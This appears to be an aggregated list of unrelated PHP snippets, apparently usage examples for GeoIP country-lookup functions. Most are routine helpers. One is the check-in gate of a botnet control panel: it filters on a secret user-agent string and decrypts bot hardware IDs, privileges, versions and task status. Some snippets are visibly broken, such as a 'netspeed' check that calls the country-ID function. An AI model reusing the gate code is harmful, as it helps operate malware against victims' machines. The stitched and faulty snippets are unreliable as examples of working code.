/** * Find users country. * * Attempt to get the country the user is from. returns unknown if its not * able to match something. * * @param string $ipAddress the ip address to check against * @param bool $code get the country code or not * * @return array the data requested */ public function getCountryData($ipAddress = null, $code = false) { if (!$ipAddress) { $ipAddress = $this->__getIpAddress(); } $data = $this->__loadFile(); if (!$data) { return $this->__emptyCountry; } $return = array('country' => geoip_country_name_by_addr($data, $ipAddress), 'country_code' => geoip_country_code_by_addr($data, $ipAddress), 'country_id' => geoip_country_id_by_addr($data, $ipAddress), 'city' => null, 'ip_address' => $ipAddress); if (empty($return['country']) && $ipAddress == '127.0.0.1') { $return['country'] = 'localhost'; $return['city'] = 'localhost'; } geoip_close($data); unset($data); return $return; }
function geoip_country_name_by_addr($gi, $addr) { if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { $record = geoip_record_by_addr($gi, $addr); return $record->country_name; } else { $country_id = geoip_country_id_by_addr($gi, $addr); if ($country_id !== false) { return $gi->GEOIP_COUNTRY_NAMES[$country_id]; } } return false; }
function isValid($ip_address) { return geoip_country_id_by_addr($this->_handler, $ip_address) !== false; }
function geoip_country_id_by_name($gi, $name) { $addr = gethostbyname($name); if (!$addr || $addr == $name) { return false; } return geoip_country_id_by_addr($gi, $addr); }
<?php include "geoip.inc"; $gi = geoip_open(dirname(__FILE__) . "\\GeoIPCity.dat", GEOIP_STANDARD); $netspeed = geoip_country_id_by_addr($gi, "24.24.24.24"); //print $n . "\n"; if ($netspeed == GEOIP_UNKNOWN_SPEED) { print "Unknown\n"; } else { if ($netspeed == GEOIP_DIALUP_SPEED) { print "Dailup\n"; } else { if ($netspeed == GEOIP_CABLEDSL_SPEED) { print "Cable/DSL\n"; } else { if ($netspeed == GEOIP_CORPORATE_SPEED) { print "Corporate\n"; } } } } geoip_close($gi);
public function geoip_country_code_by_addr($addr) { if ($this->databaseType == self::GEOIP_CITY_EDITION_REV1) { $record = $this->geoip_record_by_addr($addr); if ($record !== false) { return $record->country_code; } } else { $country_id = geoip_country_id_by_addr($addr); if ($country_id !== false) { return $this->GEOIP_COUNTRY_CODES[$country_id]; } } return false; }
public function getCountryId() { $this->country_id = geoip_country_id_by_addr($this->gi, $this->ip); return $this->country_id; }
include 'inc/geo/geoip.inc'; $gi = geoip_open("inc/geo/GeoIP.dat", ""); $gate = $odb->query("SELECT gate_status FROM settings")->fetchColumn(0); if ($gate != "1") { die; } if (!isset($_POST['id']) || !isset($_POST['os']) || !isset($_POST['pv']) || !isset($_POST['ip']) || !isset($_POST['cn']) || !isset($_POST['bv'])) { include 'inc/404.php'; die; } if ($_SERVER['HTTP_USER_AGENT'] != "E9BC3BD76216AFA560BFB5ACAF5731A3") { include 'inc/404.php'; die; } $ip = $_SERVER['REMOTE_ADDR']; $country = geoip_country_id_by_addr($gi, $ip); $hwid = decrypt($deckey, $_POST['id']); $opsys = decrypt($deckey, $_POST['os']); $privs = decrypt($deckey, $_POST['pv']); $inpat = base64_encode(decrypt($deckey, $_POST['ip'])); $compn = base64_encode(decrypt($deckey, $_POST['cn'])); $botvr = decrypt($deckey, $_POST['bv']); $lastr = base64_encode(decrypt($deckey, $_POST['lr'])); $opera = "0"; $taskd = "0"; $unins = "0"; if (isset($_POST['op'])) { $opera = decrypt($deckey, $_POST['op']); } if (isset($_POST['td'])) { $taskd = decrypt($deckey, $_POST['td']);
function geoip_country_name_by_addr($gi, $addr) { $country_id = geoip_country_id_by_addr($gi, $addr); if ($country_id !== false) { return $gi->GEOIP_COUNTRY_NAMES[$country_id]; } return false; }
public function geoip_country_name_by_addr($gi, $addr) { if ($gi->databaseType == self::GEOIP_CITY_EDITION_REV1) { $record = AnattaDesign_AwesomeCheckout_Model_GeoIP_City::geoip_record_by_addr($gi, $addr, $this); return $record->country_name; } else { $country_id = geoip_country_id_by_addr($gi, $addr); if ($country_id !== false) { return $gi->GEOIP_COUNTRY_NAMES[$country_id]; } } return false; }